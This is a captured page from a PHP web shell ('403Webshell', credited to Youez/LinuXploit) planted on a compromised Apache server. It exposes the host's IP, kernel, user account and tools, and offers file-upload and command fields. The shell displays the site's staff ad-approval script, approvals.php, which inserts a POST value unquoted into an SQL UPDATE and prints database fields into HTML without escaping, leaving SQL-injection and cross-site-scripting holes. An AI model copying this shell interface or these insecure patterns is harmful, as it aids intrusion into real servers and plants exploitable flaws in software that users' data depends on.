403Webshell
Server IP : 51.89.169.208  /  Your IP : 3.148.247.210
Web Server : Apache
System : Linux ns3209505.ip-198-244-202.eu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Tue Nov 5 04:50:16 EST 2024 x86_64
User : yellowleaf ( 1019)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/yellowleaf/public_html/staff/approvals/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/yellowleaf/public_html/staff/approvals/approvals.php
<?php
include '../connect.php';
include '../accesscontrol.php';

// ACCEPT AND DECLINE SQL
$update_sql = ($_POST['accept']?"`active`=1":(
                $_POST['decline']?"`decline`=1":
               ''));

if($update_sql){
    $adid= ($_POST['adid']);
    $desc = addslashes($_POST['description']);
    $name = addslashes($_POST['companyname']);
    $email = addslashes($_POST['email']);
    $url = addslashes($_POST['url']);

    echo $update_sql = "UPDATE ads SET description='{$desc}',companyname='{$name}',email='{$email}',url='{$url}',{$update_sql} WHERE adid={$adid}";
    $q = mysql_query($update_sql);
    if($q){
        header('Location: ./approvals.php');die;
    }else{
        die('flop');
    }
}

//adid=20135 AND
$a = mysql_query("SELECT * FROM ads WHERE active=0 AND completed='1' AND decline='0' ORDER BY RAND() LIMIT 1") or die(mysql_error());
$r = mysql_fetch_assoc($a);
echo '<!--',print_r($r),'-->';

//STOPWORDS
$accept = ' <button name="accept" value="1" class="button green" style="margin-right:20px;">Accept</button>  ';
$stopwords = explode(',',file_get_contents('stopwords.txt'));
foreach($stopwords as $stopword){
    if (strpos($r['description'], ' '.$stopword.' ') !== false) {$accept='Stopword: '.$stopword;}
}



/* -- CHECKING DEFAULT DETAILS -- */
$description = iconv("UTF-8","UTF-8//IGNORE",$r['description']);
// turn all spaces normal
$description = str_replace('&nbsp;',' ',$description);


/* 07 found or @. = preg replace details (telephone/email on request)
$description = preg_replace('/([\+447||07][0-9]{10,12})/','(available on request)',$description);
$description = preg_replace('/([a-zA-z\.]+@[a-zA-z]+\.[a-zA-z]+)/','(available on request)',$description); */

// replace single digit nums with word equivalent
$number_words = array('zero','one','two','three','four','five','six','seven','eight','nine');
foreach($number_words as $num=>$word){
    $description = preg_replace('#\s('.$num.')\s#',' '.$word.' ',$description);
}



// ucfirst sentences
$description = preg_replace_callback('#&*([A-Za-z0-9\s\/\(\),\-&;\']+)#',
                            function($matches){
                                foreach($matches as $match){
                                    return ucfirst(($match));
                                }
                            },$description);


// add space after full stop except exceptions CASE SENSITIVE
$description = str_replace('.','. ',$description);
$exceptions = array('a.m','..','p.m','e.g');
foreach($exceptions as $exception){
    $exception2 = str_replace('.','. ',$exception);
    $description = str_ireplace($exception2,$exception,$description);
}

// remove double/triple punctuation
$punctuation = array('?','!',' ');
foreach($punctuation as $p){
    $description = str_replace($p.$p.$p,$p,$description);
    $description = str_replace($p.$p,$p,$description);
}

// 200k -> 200,000
$description = preg_replace('/([0-9]+)k/', '$1,000', $description);

// 6yrs -> 6 years
$description = preg_replace('/([0-9]+)yrs /', '$1 years ', $description);

// word , word -> word, word
$description = str_replace(' , ',', ',$description);

// replace standard words
$replacements = array('yrs'=>'years','ono'=>'on nearest offer','pa'=>'per annum','SAV'=>'stock at valuation','uk'=>"UK");
foreach($replacements as $k=>$v){
    $description = str_ireplace(" $k "," $v ",$description);
    $description = str_ireplace(" $k."," $v.",$description);
    $description = str_ireplace(" $k\n"," $v\n",$description);
}
?>
<!DOCTYPE html>
<html>
<head>
<title>approvals</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<link href="../../style.css" rel="stylesheet" type="text/css">
<link href="../style_staff.css" rel="stylesheet" type="text/css">
<style>
.cn{width:980px;margin:auto;}
label{display:block;margin:20px 0 5px;font-weight:bold}
input,textarea{display:block;border:1px solid #ccc;border-radius:3px;width:100%;padding:5px;}
#photos > div{background:#eee;border:1px solid #ccc;border-radius:3px;padding:30px 30px;margin-top:10px;}
#photos img{max-height:120px;}
.button {
  background-color: #4CAF50; /* Green */
  border: none;
  color: white;
  padding: 15px 32px;
  text-align: center;
  text-decoration: none;
  display: inline-block;
  font-size: 16px;
}
.button.green {background-color: #4CAF50;} /* Green */
.button.blue {background-color: #008CBA;} /* Blue */
.button.red {background-color: #f44336;} /* Red */
.button.gray {background-color: #e7e7e7; color: black;} /* Gray */
.button.black {background-color: #555555;} /* Black */
</style>
</head>
<body>
    <? include '../staff_header.php'?>
<div class="cn">
        <form method="POST">
            <input type="hidden" name="adid" value="<?=$r['adid']?>" />
            <?=$accept ?>
            <button type="submit" value="1" name="decline" class="button red">Decline</button>
            <h1>Ad id <?=$r['adid']?></h1>
            <section id="photos">

              <div>
                    <?=($r['image']?'<img itemprop="photo" class="photo" src="/members/uploads/logo/'.$r['image'].'" border="0">':'')?>
                    <?=($r['photo_1']?'<img id="bigP" class="bpic" src="/members/uploads/1/'.$r['photo_1'].'">':'')?>
                    <?=($r['photo_2']?'<img id="bigP" class="bpic" src="/members/uploads/2/'.$r['photo_2'].'">':'')?>
                    <?=($r['photo_3']?'<img id="bigP" class="bpic" src="/members/uploads/3/'.$r['photo_3'].'">':'')?>
                    <?=($r['photo_4']?'<img id="bigP" class="bpic" src="/members/uploads/4/'.$r['photo_4'].'">':'')?>
              </div>
            </section>

            <h2>Details</h2>
            <label>Company Name: </label><input type="text" name="companyname" value="<?=$r['companyname']?>">
            <label>Description: </label><textarea rows="12"  name="description"><?=$description?></textarea>
            <label>Email: </label><input type="text"  name="email" value="<?=$r['email']?>">
            <label>Url: </label><input type="text"  name="url" value="<?=$r['url']?>">
            <a href="//<?=str_replace(['https:','http:'],'',$r['url'])?>" target="_blank">Check Website</a>
        </form>
</div>
<br><br><br><br><br><br>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit